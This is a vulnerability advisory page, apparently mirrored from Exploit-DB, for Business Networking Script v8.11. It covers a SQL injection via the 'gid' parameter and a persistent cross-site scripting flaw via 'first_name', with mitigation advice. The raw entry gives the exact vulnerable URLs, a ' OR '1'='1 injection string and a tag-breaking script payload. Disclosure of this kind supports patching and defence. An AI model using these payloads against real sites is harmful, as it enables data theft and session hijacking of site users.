Business Networking Script v8.11- SQLi & Persistent Cross Site Scripting

vendor:

Business Networking Script

by:

Ahmet Gurel

5.5

CVSS

MEDIUM

SQL Injection & Persistent Cross Site Scripting

CWE

Product Name: Business Networking Script

Affected Version From: 8.11

Affected Version To: 8.11

Patch Exists: NO

Related CWE:

CPE: a:itechscripts:business_networking_script:8.11

Metasploit:

Other Scripts:

Platforms Tested: PHP

2017

Business Networking Script v8.11- SQLi & Persistent Cross Site Scripting

The Business Networking Script v8.11 is vulnerable to SQL Injection and Persistent Cross Site Scripting attacks. The SQL Injection vulnerability can be exploited through the 'gid' parameter in the 'show_group_members.php' page. The Persistent XSS vulnerability exists in the 'home.php' page with the 'first_name' parameter. An attacker can inject malicious code to execute arbitrary SQL queries or perform XSS attacks.

Mitigation:

To mitigate the SQL Injection vulnerability, input validation and parameterized queries should be implemented. To mitigate the Persistent XSS vulnerability, proper input sanitization and output encoding should be applied.

Source

Exploit-DB raw data:

# Exploit Title : ----------- : Business Networking Script v8.11- SQLi &
Persistent Cross Site Scripting
# Author : -----------------  : Ahmet Gurel
# Google Dork : ---------  :    -
# Date : -------------------- : 16/01/2017
# Type : -------------------- : webapps
# Platform : --------------- : PHP
# Vendor Homepage : http://itechscripts.com/business-networking-script/
# Sofware Price and Demo : $299.00
http://professional-network.itechscripts.com

 ########## 1-SQL Injection ##########

##### Vulnerable Parameter Type : GET
##### Vulnerable Parameter : gid
##### Vulnerable URL :
http://localhost/[PATH]/show_group_members.php?gid=[SQLi]
##### SQLi Parameter : ' OR '1'='1



########## 2-Persistent XSS Payload ##########

##### Vulnerable URL : http://localhost/[PATH]/home.php
##### Vuln. Parameter: first_name=
##### PAYLOAD : '"--></style></Script><Script>alert(1)</Script>